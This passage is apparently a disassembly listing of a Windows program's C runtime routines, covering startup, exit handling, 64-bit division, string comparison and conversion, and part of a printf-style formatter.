		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417791
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417791:				; CODE XREF: sub_417770+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4177AD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_4177AD:				; CODE XREF: sub_417770+27j
		or	eax, eax
		jnz	short loc_4177C9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41780A
; ---------------------------------------------------------------------------


loc_4177C9:				; CODE XREF: sub_417770+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4177D7:				; CODE XREF: sub_417770+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4177D7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_417805
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_417805
		jb	short loc_417806
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_417806


loc_417805:				; CODE XREF: sub_417770+85j
					; sub_417770+8Bj
		dec	esi


loc_417806:				; CODE XREF: sub_417770+8Dj
					; sub_417770+93j
		xor	edx, edx
		mov	eax, esi


loc_41780A:				; CODE XREF: sub_417770+57j
		dec	edi
		jnz	short loc_417814
		neg	edx
		neg	eax
		sbb	edx, 0


loc_417814:				; CODE XREF: sub_417770+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417770	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781A	proc near		; CODE XREF: .text:00417BABp
		mov	eax, off_4383BC
		test	eax, eax
		jz	short loc_417825
		call	eax ; sub_415DD3


loc_417825:				; CODE XREF: sub_41781A+7j
		push	offset dword_423028
		push	offset dword_423014
		call	sub_417902
		push	offset dword_423010
		push	offset dword_423000
		call	sub_417902
		add	esp, 10h
		retn
sub_41781A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417847	proc near		; CODE XREF: .text:00417BEAp

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417869
		add	esp, 0Ch
		retn
sub_417847	endp


; =============== S U B	R O U T	I N E =======================================



sub_417858	proc near		; CODE XREF: .text:00417C09p
					; sub_417C0E+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417869
		add	esp, 0Ch
		retn
sub_417858	endp


; =============== S U B	R O U T	I N E =======================================



sub_417869	proc near		; CODE XREF: sub_417847+8p
					; sub_417858+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_46BB4C, edi
		jnz	short loc_417886
		push	[esp+4+arg_0]
		call	dword_421104	; GetCurrentProcess
		push	eax
		call	dword_421140	; TerminateProcess


loc_417886:				; CODE XREF: sub_417869+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_46BB48, edi
		mov	byte_46BB44, bl
		jnz	short loc_4178DA
		mov	eax, dword_46D17C
		test	eax, eax
		jz	short loc_4178C9
		mov	ecx, dword_46D178
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4178C8


loc_4178B5:				; CODE XREF: sub_417869+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178BD
		call	eax


loc_4178BD:				; CODE XREF: sub_417869+50j
		sub	esi, 4
		cmp	esi, dword_46D17C
		jnb	short loc_4178B5


loc_4178C8:				; CODE XREF: sub_417869+4Aj
		pop	esi


loc_4178C9:				; CODE XREF: sub_417869+3Cj
		push	offset dword_423034
		push	offset dword_42302C
		call	sub_417902
		pop	ecx
		pop	ecx


loc_4178DA:				; CODE XREF: sub_417869+33j
		push	offset dword_423040
		push	offset dword_423038
		call	sub_417902
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_417900
		push	[esp+4+arg_0]
		mov	dword_46BB4C, edi
		call	dword_421114	; ExitProcess


loc_417900:				; CODE XREF: sub_417869+85j
		pop	edi
		retn
sub_417869	endp


; =============== S U B	R O U T	I N E =======================================



sub_417902	proc near		; CODE XREF: sub_41781A+15p
					; sub_41781A+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_417907:				; CODE XREF: sub_417902+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41791A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_417915
		call	eax


loc_417915:				; CODE XREF: sub_417902+Fj
		add	esi, 4
		jmp	short loc_417907
; ---------------------------------------------------------------------------


loc_41791A:				; CODE XREF: sub_417902+9j
		pop	esi
		retn
sub_417902	endp


; =============== S U B	R O U T	I N E =======================================



sub_41791C	proc near		; CODE XREF: sub_40CD3A+29D7p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_421118	; DeleteFileA
		test	eax, eax
		jnz	short loc_417932
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_417934
; ---------------------------------------------------------------------------


loc_417932:				; CODE XREF: sub_41791C+Cj
		xor	eax, eax


loc_417934:				; CODE XREF: sub_41791C+14j
		test	eax, eax
		jz	short loc_417943
		push	eax
		call	sub_41CE74
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417943:				; CODE XREF: sub_41791C+1Aj
		xor	eax, eax
		retn
sub_41791C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417950	proc near		; CODE XREF: sub_4129E5+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41799C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41799D
		test	eax, 1
		jz	short loc_41797D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_4179CA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41799A


loc_41797D:				; CODE XREF: sub_417950+20j
					; sub_417950+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_4179CA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_4179CA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41797D


loc_41799A:				; CODE XREF: sub_417950+2Bj
					; sub_417950+84j
		pop	edi
		pop	esi

locret_41799C:				; CODE XREF: sub_417950+6j
		retn
; ---------------------------------------------------------------------------


loc_41799D:				; CODE XREF: sub_417950+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_4179D2
		repe cmpsd
		jz	short loc_4179D2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_4179C5
		cmp	ch, dh
		jnz	short loc_4179C5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_4179C5
		cmp	ch, dh


loc_4179C5:				; CODE XREF: sub_417950+63j
					; sub_417950+67j ...
		mov	eax, 0


loc_4179CA:				; CODE XREF: sub_417950+26j
					; sub_417950+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4179D2:				; CODE XREF: sub_417950+55j
					; sub_417950+59j
		test	eax, eax
		jz	short loc_41799A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_4179C5
		dec	eax
		jz	short loc_4179F9
		cmp	dh, ch
		jnz	short loc_4179C5
		dec	eax
		jz	short loc_4179F9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_4179C5
		dec	eax


loc_4179F9:				; CODE XREF: sub_417950+8Fj
					; sub_417950+96j
		pop	edi
		pop	esi
		retn
sub_417950	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179FC	proc near		; CODE XREF: sub_413B27+55p
					; sub_414500+238p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_417A13


loc_417A09:				; CODE XREF: sub_4179FC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_417A09


loc_417A13:				; CODE XREF: sub_4179FC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4179FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A19	proc near		; CODE XREF: sub_413B27+19p
					; sub_413B27+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417AE6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417B13
		cmp	dword_46BB9C, esi
		jnz	short loc_417A6A
		cmp	edi, esi
		jbe	loc_417B13


loc_417A49:				; CODE XREF: sub_417A19+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417B13
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417A49
		jmp	loc_417B13
; ---------------------------------------------------------------------------


loc_417A6A:				; CODE XREF: sub_417A19+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_421064
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_46BBAC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417B12
		call	dword_421088	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417AA4


loc_417A95:				; CODE XREF: sub_417A19+CBj
					; sub_417A19+F7j
		mov	dword_46BB04, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417B13
; ---------------------------------------------------------------------------


loc_417AA4:				; CODE XREF: sub_417A19+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417AAC:				; CODE XREF: sub_417A19+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417ACE
		mov	edx, off_4383F0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417AC3
		inc	eax


loc_417AC3:				; CODE XREF: sub_417A19+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417AAC


loc_417ACE:				; CODE XREF: sub_417A19+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_46BBAC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417B13
		jmp	short loc_417A95
; ---------------------------------------------------------------------------


loc_417AE6:				; CODE XREF: sub_417A19+Fj
		cmp	dword_46BB9C, esi
		jnz	short loc_417AF9
		push	[ebp+arg_4]
		call	sub_415B10
		pop	ecx
		jmp	short loc_417B13
; ---------------------------------------------------------------------------


loc_417AF9:				; CODE XREF: sub_417A19+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_46BBAC
		call	dword_421064	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417A95


loc_417B12:				; CODE XREF: sub_417A19+6Bj
		dec	eax


loc_417B13:				; CODE XREF: sub_417A19+1Aj
					; sub_417A19+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417A19	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421678
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_42116C	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_46BB1C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_46BB18, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_46BB14, ecx
		shr	eax, 10h
		mov	dword_46BB10, eax
		xor	esi, esi
		push	esi
		call	sub_418C18
		pop	ecx
		test	eax, eax
		jnz	short loc_417B84
		push	1Ch
		call	sub_417C33
		pop	ecx


loc_417B84:				; CODE XREF: .text:00417B7Aj
		mov	[ebp-4], esi
		call	sub_41D4EF
		call	dword_421168	; GetCommandLineA
		mov	dword_46D16C, eax
		call	sub_41D3BD
		mov	dword_46BB50, eax
		call	sub_41D170
		call	sub_41D0B7
		call	sub_41781A
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_421164	; GetStartupInfoA
		call	sub_41D05F
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_417BD1
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_417BD4
; ---------------------------------------------------------------------------


loc_417BD1:				; CODE XREF: .text:00417BC9j
		push	0Ah
		pop	eax


loc_417BD4:				; CODE XREF: .text:00417BCFj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	sub_40C574
		mov	[ebp-60h], eax
		push	eax
		call	sub_417847
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41CEDB
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417858

; =============== S U B	R O U T	I N E =======================================



sub_417C0E	proc near		; CODE XREF: sub_4166E2+16p
					; sub_41D0B7+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_46BB58, 1
		jnz	short loc_417C1C
		call	sub_41D77C


loc_417C1C:				; CODE XREF: sub_417C0E+7j
		push	[esp+arg_0]
		call	sub_41D7B5
		push	0FFh
		call	off_4383E0
		pop	ecx
		pop	ecx
		retn
sub_417C0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C33	proc near		; CODE XREF: .text:00417B7Ep

arg_0		= dword	ptr  4

		cmp	dword_46BB58, 1
		jnz	short loc_417C41
		call	sub_41D77C


loc_417C41:				; CODE XREF: sub_417C33+7j
		push	[esp+arg_0]
		call	sub_41D7B5
		pop	ecx
		push	0FFh
		call	dword_421114	; ExitProcess
		retn
sub_417C33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C57	proc near		; CODE XREF: sub_415316+46p
					; sub_41588A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417D60
		test	al, 40h
		jnz	loc_417D60
		test	al, 1
		jz	short loc_417C8F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417D60
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_417C8F:				; CODE XREF: sub_417C57+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417CC9
		cmp	esi, offset dword_43AB28
		jz	short loc_417CB7
		cmp	esi, offset dword_43AB48
		jnz	short loc_417CC2


loc_417CB7:				; CODE XREF: sub_417C57+56j
		push	ebx
		call	sub_41D94C
		test	eax, eax
		pop	ecx
		jnz	short loc_417CC9


loc_417CC2:				; CODE XREF: sub_417C57+5Ej
		push	esi
		call	sub_41D908
		pop	ecx


loc_417CC9:				; CODE XREF: sub_417C57+4Ej
					; sub_417C57+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417D36
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417CF9
		push	edi
		push	eax
		push	ebx
		call	sub_41CCC7
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417D2C
; ---------------------------------------------------------------------------


loc_417CF9:				; CODE XREF: sub_417C57+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417D14
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46CE20[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417D19
; ---------------------------------------------------------------------------


loc_417D14:				; CODE XREF: sub_417C57+A5j
		mov	eax, offset dword_43AA70


loc_417D19:				; CODE XREF: sub_417C57+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417D2C
		push	2
		push	0
		push	ebx
		call	sub_41C447
		add	esp, 0Ch


loc_417D2C:				; CODE XREF: sub_417C57+A0j
					; sub_417C57+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417D4A
; ---------------------------------------------------------------------------


loc_417D36:				; CODE XREF: sub_417C57+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41CCC7
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_417D4A:				; CODE XREF: sub_417C57+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417D56
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417D65
; ---------------------------------------------------------------------------


loc_417D56:				; CODE XREF: sub_417C57+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417D68
; ---------------------------------------------------------------------------


loc_417D60:				; CODE XREF: sub_417C57+10j
					; sub_417C57+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_417D65:				; CODE XREF: sub_417C57+FDj
		or	eax, 0FFFFFFFFh


loc_417D68:				; CODE XREF: sub_417C57+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417C57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D6C	proc near		; CODE XREF: sub_415316+29p
					; sub_41588A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418485
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417DA0
; ---------------------------------------------------------------------------


loc_417D98:				; CODE XREF: sub_417D6C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_417DA0:				; CODE XREF: sub_417D6C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418485
		cmp	bl, 20h
		jl	short loc_417DC1
		cmp	bl, 78h
		jg	short loc_417DC1
		movsx	eax, bl
		mov	al, [eax+421664h]
		and	eax, 0Fh
		jmp	short loc_417DC3
; ---------------------------------------------------------------------------


loc_417DC1:				; CODE XREF: sub_417D6C+40j
					; sub_417D6C+45j
		xor	eax, eax


loc_417DC3:				; CODE XREF: sub_417D6C+53j
		movsx	eax, byte_421684[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418474	; default
		jmp	off_41848D[eax*4] ; switch jump


loc_417DE1:				; DATA XREF: .text:off_41848Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417DDA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417DFC:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: .text:off_41848Do
		movsx	eax, bl		; jumptable 00417DDA case 2
		sub	eax, 20h
		jz	short loc_417E3F
		sub	eax, 3
		jz	short loc_417E36
		sub	eax, 8
		jz	short loc_417E2D
		dec	eax
		dec	eax
		jz	short loc_417E24
		sub	eax, 3
		jnz	loc_418474	; default
		or	[ebp+var_4], 8
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E24:				; CODE XREF: sub_417D6C+A4j
		or	[ebp+var_4], 4
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E2D:				; CODE XREF: sub_417D6C+A0j
		or	[ebp+var_4], 1
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E36:				; CODE XREF: sub_417D6C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E3F:				; CODE XREF: sub_417D6C+96j
		or	[ebp+var_4], 2
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E48:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: .text:off_41848Do
		cmp	bl, 2Ah		; jumptable 00417DDA case 3
		jnz	short loc_417E70
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418474	; default
		or	[ebp+var_4], 4
		neg	eax


loc_417E68:				; CODE XREF: sub_417D6C+111j
		mov	[ebp+var_20], eax
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E70:				; CODE XREF: sub_417D6C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_417E68
; ---------------------------------------------------------------------------


loc_417E7F:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: .text:off_41848Do
		mov	[ebp+var_10], edx ; jumptable 00417DDA case 4
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417E87:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: .text:off_41848Do
		cmp	bl, 2Ah		; jumptable 00417DDA case 5
		jnz	short loc_417EAA
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418474	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EAA:				; CODE XREF: sub_417D6C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EBC:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: .text:off_41848Do
		cmp	bl, 49h		; jumptable 00417DDA case 6
		jz	short loc_417EEF
		cmp	bl, 68h
		jz	short loc_417EE6
		cmp	bl, 6Ch
		jz	short loc_417EDD
		cmp	bl, 77h
		jnz	loc_418474	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EDD:				; CODE XREF: sub_417D6C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EE6:				; CODE XREF: sub_417D6C+158j
		or	[ebp+var_4], 20h
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417EEF:				; CODE XREF: sub_417D6C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_417F08
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_417F08
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417F08:				; CODE XREF: sub_417D6C+186j
					; sub_417D6C+18Cj
		mov	[ebp+var_30], edx


loc_417F0B:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: .text:off_41848Do
		mov	ecx, off_4383F0	; jumptable 00417DDA case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417F37
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4184AD
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_417F37:				; CODE XREF: sub_417D6C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4184AD
		add	esp, 0Ch
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_417F4F:				; CODE XREF: sub_417D6C+6Ej
					; DATA XREF: .text:off_41848Do
		movsx	eax, bl		; jumptable 00417DDA case 7
		cmp	eax, 67h
		jg	loc_418177
		cmp	eax, 65h
		jge	loc_417FFA
		cmp	eax, 58h
		jg	loc_418058
		jz	loc_4181EB
		sub	eax, 43h
		jz	loc_41801B
		dec	eax
		dec	eax
		jz	short loc_417FF0
		dec	eax
		dec	eax
		jz	short loc_417FF0
		sub	eax, 0Ch
		jnz	loc_418376
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417F99
		or	byte ptr [ebp+var_4+1],	8


loc_417F99:				; CODE XREF: sub_417D6C+227j
					; sub_417D6C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417FA6
		mov	esi, 7FFFFFFFh


loc_417FA6:				; CODE XREF: sub_417D6C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_4181BF
		test	ecx, ecx
		jnz	short loc_417FCE
		mov	ecx, off_4383EC
		mov	[ebp+var_8], ecx


loc_417FCE:				; CODE XREF: sub_417D6C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_417FD7:				; CODE XREF: sub_417D6C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4181B6
		cmp	word ptr [eax],	0
		jz	loc_4181B6
		inc	eax
		inc	eax
		jmp	short loc_417FD7
; ---------------------------------------------------------------------------


loc_417FF0:				; CODE XREF: sub_417D6C+212j
					; sub_417D6C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_417FFA:				; CODE XREF: sub_417D6C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4180DE
		mov	[ebp+var_10], 6
		jmp	loc_4180EC
; ---------------------------------------------------------------------------


loc_41801B:				; CODE XREF: sub_417D6C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_418027
		or	byte ptr [ebp+var_4+1],	8


loc_418027:				; CODE XREF: sub_417D6C+2B5j
					; sub_417D6C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41806E
		call	sub_418568
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41DA2B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_418081
		mov	[ebp+var_28], 1
		jmp	short loc_418081
; ---------------------------------------------------------------------------


loc_418058:				; CODE XREF: sub_417D6C+1FBj
		sub	eax, 5Ah
		jz	short loc_41808F
		sub	eax, 9
		jz	short loc_418027
		dec	eax
		jz	loc_418251
		jmp	loc_418376
; ---------------------------------------------------------------------------


loc_41806E:				; CODE XREF: sub_417D6C+2C5j
		call	sub_41854B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_418081:				; CODE XREF: sub_417D6C+2E1j
					; sub_417D6C+2EAj
